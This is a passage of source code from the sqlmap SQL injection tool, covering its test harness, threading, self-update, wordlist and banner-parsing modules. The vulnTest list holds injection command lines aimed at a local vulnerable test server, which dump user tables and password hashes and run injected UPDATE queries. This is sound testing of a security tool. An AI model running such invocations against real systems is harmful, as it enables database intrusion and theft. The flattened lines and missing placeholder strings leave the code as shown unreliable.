conf.multipleTargets: if conf.hashDB: conf.hashDB.close() if conf.cj: resetCookieJar(conf.cj) threadData = getCurrentThreadData() threadData.reset() conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None _setKnowledgeBaseAttributes(False) _restoreMergedOptions() _setDBMS() if conf.data: class _(six.text_type): pass kb.postUrlEncode = True for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): kb.postUrlEncode = "urlencoded" in value break if kb.postUrlEncode: original = conf.data conf.data = _(urldecode(conf.data)) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original if conf.data and unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: if '=' not in conf.data.strip('='): try: original = conf.data conf.data = _(decodeBase64(conf.data, binary=False)) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) except: pass match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR def setupTargetEnv(): _createTargetDirs() _setRequestParams() _setHashDB() _resumeHashDBValues() _setResultsFile() _setAuthCred() _setAuxOptions() ================================================ FILE: lib/core/testing.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import doctest import logging import os import random import re import socket import sqlite3 import sys import tempfile import threading import time from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import shellExec from lib.core.compat import round from lib.core.convert import encodeBase64 from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.patch import unisonRandom from lib.core.settings import IS_WIN def vulnTest(): """ Runs the testing against 'vulnserver' """ TESTS = ( ("-h", ("to see full list of options run with '-hh'",)), ("--dependencies", ("sqlmap requires", "third-party library")), ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) retVal = True count = 0 cleanups = [] while True: address, port = "127.0.0.1", random.randint(10000, 65535) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if s.connect_ex((address, port)): break else: time.sleep(1) finally: s.close() def _thread(): vulnserver.init(quiet=True) vulnserver.run(address=address, port=port) vulnserver._alive = True thread = threading.Thread(target=_thread) thread.daemon = True thread.start() while vulnserver._alive: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((address, port)) s.sendall(b"GET / HTTP/1.1\r\n\r\n") result = b"" while True: current = s.recv(1024) if not current: break else: result += current if b"vulnserver" in result: break except: pass finally: s.close() time.sleep(1) if not vulnserver._alive: logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port)) return False else: logger.info("vulnserver running at 'http://%s:%s'..." % (address, port)) handle, config = tempfile.mkstemp(suffix=".conf") os.close(handle) cleanups.append(config) handle, database = tempfile.mkstemp(suffix=".sqlite") os.close(handle) cleanups.append(database) with sqlite3.connect(database) as conn: c = conn.cursor() c.executescript(vulnserver.SCHEMA) handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) cleanups.append(request) handle, log = tempfile.mkstemp(suffix=".log") os.close(handle) cleanups.append(log) handle, multiple = tempfile.mkstemp(suffix=".lst") os.close(handle) cleanups.append(multiple) content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) with open(request, "w+") as f: f.write(content) f.flush() content = '%d' % (port, encodeBase64(content, binary=False)) with open(log, "w+") as f: f.write(content) f.flush() base = "http://%s:%d/" % (address, port) url = "%s?id=1" % base direct = "sqlite3://%s" % database tmpdir = tempfile.mkdtemp() with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: content = f.read().replace("url =", "url = %s" % url) with open(config, "w+") as f: f.write(content) f.flush() content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) with open(multiple, "w+") as f: f.write(content) f.flush() for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) if IS_WIN and "uraj" in options: options = options.replace(u"\u0161u\u0107uraj", "sucuraj") checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): options = options.replace(tag, value) cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) if "" in cmd: handle, tmp = tempfile.mkstemp() os.close(handle) cmd = cmd.replace("", tmp) output = shellExec(cmd) if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("%s---\n" % output, coloring=False) retVal = False count += 1 clearConsoleLine() if retVal: logger.info("vuln test final result: PASSED") else: logger.error("vuln test final result: FAILED") for filename in cleanups: try: os.remove(filename) except: pass return retVal def smokeTest(): """ Runs the basic smoke testing of a program """ unisonRandom() with open(paths.ERRORS_XML, "r") as f: content = f.read() for regex in re.findall(r'', content): try: re.compile(regex) except re.error: errMsg = "smoke test failed at compiling '%s'" % regex logger.error(errMsg) return False retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue for filename in files: if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue for filename in files: if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): path = os.path.join(root, os.path.splitext(filename)[0]) path = path.replace(paths.SQLMAP_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') try: __import__(path) module = sys.modules[path] except Exception as ex: retVal = False dataToStdout("\r") errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) logger.error(errMsg) else: logger.setLevel(logging.CRITICAL) kb.smokeMode = True (failure_count, _) = doctest.testmod(module) kb.smokeMode = False logger.setLevel(logging.INFO) if failure_count > 0: retVal = False count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) def _(node): for __ in dir(node): if not __.startswith('_'): candidate = getattr(node, __) if isinstance(candidate, str): if '\\' in candidate: try: re.compile(candidate) except: errMsg = "smoke test failed at compiling '%s'" % candidate logger.error(errMsg) raise else: _(candidate) for dbms in queries: try: _(queries[dbms]) except: retVal = False clearConsoleLine() if retVal: logger.info("smoke test final result: PASSED") else: logger.error("smoke test final result: FAILED") return retVal ================================================ FILE: lib/core/threads.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import difflib import sqlite3 import threading import time import traceback from lib.core.compat import WichmannHill from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import PYVERSION shared = AttribDict() class _ThreadData(threading.local): """ Represents thread independent data """ def __init__(self): self.reset() def reset(self): """ Resets thread data model """ self.disableStdOut = False self.hashDBCursor = None self.inTransaction = False self.lastCode = None self.lastComparisonPage = None self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None self.lastPageTemplateCleaned = None self.lastPageTemplate = None self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = tuple() self.random = WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared self.technique = None self.validationRun = 0 self.valueStack = [] ThreadData = _ThreadData() def readInput(message, default=None, checkBatch=True, boolean=False): # It will be overwritten by original from lib.core.common pass def isDigit(value): # It will be overwritten by original from lib.core.common pass def getCurrentThreadData(): """ Returns current thread's local data """ return ThreadData def getCurrentThreadName(): """ Returns current's thread name """ return threading.current_thread().getName() def exceptionHandledFunction(threadFunction, silent=False): try: threadFunction() except KeyboardInterrupt: kb.threadContinue = False kb.threadException = True raise except Exception as ex: from lib.core.common import getSafeExString if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation if PYVERSION >= "2.6": thread.daemon = True else: thread.setDaemon(True) def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] def _threadFunction(): try: threadFunction() finally: if conf.hashDB: conf.hashDB.close() kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False kb.technique = ThreadData.technique kb.multiThreadMode = False try: if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): while True: message = "please enter number of threads? [Enter for %d (current)] " % numThreads choice = readInput(message, default=str(numThreads)) if choice: skipThreadCheck = False if choice.endswith('!'): choice = choice[:-1] skipThreadCheck = True if isDigit(choice): if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS logger.critical(errMsg) else: conf.threads = numThreads = int(choice) break if numThreads == 1: warnMsg = "running in a single-thread mode. This could take a while" logger.warning(warnMsg) if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: try: _threadFunction() except (SqlmapUserQuitException, SqlmapSkipTargetException): pass return kb.multiThreadMode = True # Start the threads for numThread in xrange(numThreads): thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) try: thread.start() except Exception as ex: errMsg = "error occurred while starting new thread ('%s')" % ex logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish while True: alive = False for thread in threads: if thread.is_alive(): alive = True break if not alive: break time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print() kb.prependFlag = False kb.threadContinue = False kb.threadException = True if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): kb.multipleCtrlC = True raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") kb.lastCtrlCTime = time.time() if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: while threading.active_count() > 1: time.sleep(0.1) except KeyboardInterrupt: kb.multipleCtrlC = True raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() except Exception as ex: print() if not kb.multipleCtrlC: if isinstance(ex, sqlite3.Error): raise else: from lib.core.common import unhandledExceptionMessage kb.threadException = True errMsg = unhandledExceptionMessage() logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) traceback.print_exc() finally: kb.multiThreadMode = False kb.threadContinue = True kb.threadException = False kb.technique = None for lock in kb.locks.values(): if lock.locked(): try: lock.release() except: pass if conf.get("hashDB"): conf.hashDB.flush() if cleanupFunction: cleanupFunction() ================================================ FILE: lib/core/unescaper.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.datatype import AttribDict from lib.core.settings import EXCLUDE_UNESCAPE class Unescaper(AttribDict): def escape(self, expression, quote=True, dbms=None): if expression is None: return expression for exclude in EXCLUDE_UNESCAPE: if exclude in expression: return expression identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: retVal = self[dbms](expression, quote=quote) elif identifiedDbms is not None and identifiedDbms in self: retVal = self[identifiedDbms](expression, quote=quote) else: retVal = expression # e.g. inference comparison for ' retVal = retVal.replace("'''", "''''") return retVal unescaper = Unescaper() ================================================ FILE: lib/core/update.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import glob import os import re import shutil import subprocess import time import zipfile from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getLatestRevision from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import pollProcess from lib.core.common import readInput from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths from lib.core.revision import getRevisionNumber from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN from lib.core.settings import VERSION from lib.core.settings import TYPE from lib.core.settings import ZIPBALL_PAGE from thirdparty.six.moves import urllib as _urllib def update(): if not conf.updateAll: return success = False if TYPE == "pip": infoMsg = "updating sqlmap to the latest stable version from the " infoMsg += "PyPI repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'pip' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P\d+\.\d+\.\d+)\)", output))) else: logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.warning(warnMsg) if VERSION == getLatestRevision(): logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) return message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" if readInput(message, default='N', boolean=True): directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) try: open(os.path.join(directory, "sqlmap.py"), "w+b") except Exception as ex: errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) logger.error(errMsg) else: attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode for wildcard in ('*', ".*"): for _ in glob.glob(os.path.join(directory, wildcard)): try: if os.path.isdir(_): shutil.rmtree(_) else: os.remove(_) except: pass if glob.glob(os.path.join(directory, '*')): errMsg = "unable to clear the content of directory '%s'" % directory logger.error(errMsg) else: try: archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] with zipfile.ZipFile(archive) as f: for info in f.infolist(): info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) if info.filename: f.extract(info, directory) filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") if os.path.isfile(filepath): with openFile(filepath, "r") as f: version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) logger.info("updated to the latest version '%s#dev'" % version) success = True except Exception as ex: logger.error("update could not be completed ('%s')" % getSafeExString(ex)) else: if not success: logger.error("update could not be completed") else: try: os.chmod(os.path.join(directory, "sqlmap.py"), attrs) except OSError: logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) else: infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) output = "" try: process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) pollProcess(process, True) output, _ = process.communicate() success = not process.returncode except Exception as ex: success = False output = getSafeExString(ex) finally: output = getText(output) if success: logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: if "Not a git repository" in output: errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY logger.error(errMsg) else: logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " infoMsg += "https://github.com/sqlmapproject/sqlmap/releases" else: infoMsg = "for Linux platform it's recommended " infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" logger.info(infoMsg) ================================================ FILE: lib/core/wordlist.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import zipfile from lib.core.common import getSafeExString from lib.core.common import isZipFile from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapInstallationException from thirdparty import six class Wordlist(six.Iterator): """ Iterator for looping over a large dictionaries >>> from lib.core.option import paths >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) True >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type) True """ def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None self.zip_file = None self.index = 0 self.counter = -1 self.current = None self.iter = None self.custom = custom or [] self.proc_id = proc_id self.proc_count = proc_count self.adjust() def __iter__(self): return self def adjust(self): self.closeFP() if self.index > len(self.filenames): return # Note: https://stackoverflow.com/a/30217723 (PEP 479) elif self.index == len(self.filenames): self.iter = iter(self.custom) else: self.current = self.filenames[self.index] if isZipFile(self.current): try: self.zip_file = zipfile.ZipFile(self.current, 'r') except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) if len(self.zip_file.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) self.fp = self.zip_file.open(self.zip_file.namelist()[0]) else: self.fp = open(self.current, "rb") self.iter = iter(self.fp) self.index += 1 def closeFP(self): if self.fp: self.fp.close() self.fp = None if self.zip_file: self.zip_file.close() self.zip_file = None def __next__(self): retVal = None while True: self.counter += 1 try: retVal = next(self.iter).rstrip() except zipfile.error as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) except StopIteration: self.adjust() retVal = next(self.iter).rstrip() if not self.proc_count or self.counter % self.proc_count == self.proc_id: break return retVal def rewind(self): self.index = 0 self.adjust() ================================================ FILE: lib/parse/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass ================================================ FILE: lib/parse/banner.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import Backend from lib.core.common import parseXmlFile from lib.core.common import sanitizeStr from lib.core.data import kb from lib.core.data import paths from lib.core.enums import DBMS from lib.parse.handler import FingerprintHandler class MSSQLBannerHandler(ContentHandler): """ This class defines methods to parse and extract information from the given Microsoft SQL Server banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner or "") self._inVersion = False self._inServicePack = False self._release = None self._version = "" self._versionAlt = None self._servicePack = "" self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None"): return self._info[key] = value def startElement(self, name, attrs): if name == "signatures": self._release = sanitizeStr(attrs.get("release")) elif name == "version": self._inVersion = True elif name == "servicepack": self._inServicePack = True def characters(self, content): if self._inVersion: self._version += sanitizeStr(content) elif self._inServicePack: self._servicePack += sanitizeStr(content) def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): if version and self._banner and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) break self._version = "" self._versionAlt = None self._servicePack = "" elif name == "version": self._inVersion = False self._version = self._version.replace(" ", "") match = re.search(r"\A(?P\d+)\.00\.(?P\d+)\Z", self._version) self._versionAlt = "%s.0.%s.0" % (match.group('major'), match.group('build')) if match else None elif name == "servicepack": self._inServicePack = False self._servicePack = self._servicePack.replace(" ", "") def bannerParser(banner): """ This function calls a class to extract information from the given DBMS banner based upon the data in XML file """ xmlfile = None if Backend.isDbms(DBMS.MSSQL): xmlfile = paths.MSSQL_XML elif Backend.isDbms(DBMS.MYSQL): xmlfile = paths.MYSQL_XML elif Backend.isDbms(DBMS.ORACLE): xmlfile = paths.ORACLE_XML elif Backend.isDbms(DBMS.PGSQL): xmlfile = paths.PGSQL_XML if not xmlfile: return if Backend.isDbms(DBMS.MSSQL): handler = MSSQLBannerHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(paths.GENERIC_XML, handler) else: handler = FingerprintHandler(banner, kb.bannerFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) ================================================ FILE: lib/parse/cmdline.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os import re import shlex import sys try: from optparse import OptionError as ArgumentError from optparse import OptionGroup from optparse import OptionParser as ArgumentParser from optparse import SUPPRESS_HELP as SUPPRESS ArgumentParser.add_argument = ArgumentParser.add_option def _add_argument_group(self, *args, **kwargs): return self.add_option_group(OptionGroup(self, *args, **kwargs)) ArgumentParser.add_argument_group = _add_argument_group def _add_argument(self, *args, **kwargs): return self.add_option(*args, **kwargs) OptionGroup.add_argument = _add_argument except ImportError: from argparse import ArgumentParser from argparse import ArgumentError from argparse import SUPPRESS finally: def get_actions(instance): for attr in ("option_list", "_group_actions", "_actions"): if hasattr(instance, attr): return getattr(instance, attr) def get_groups(parser): return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") def get_all_options(parser): retVal = set() for option in get_actions(parser): if hasattr(option, "option_strings"): retVal.update(option.option_strings) else: retVal.update(option._long_opts) retVal.update(option._short_opts) for group in get_groups(parser): for option in get_actions(group): if hasattr(option, "option_strings"): retVal.update(option.option_strings) else: retVal.update(option._long_opts) retVal.update(option._short_opts) return retVal from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout from lib.core.common import expandMnemonics from lib.core.common import getSafeExString from 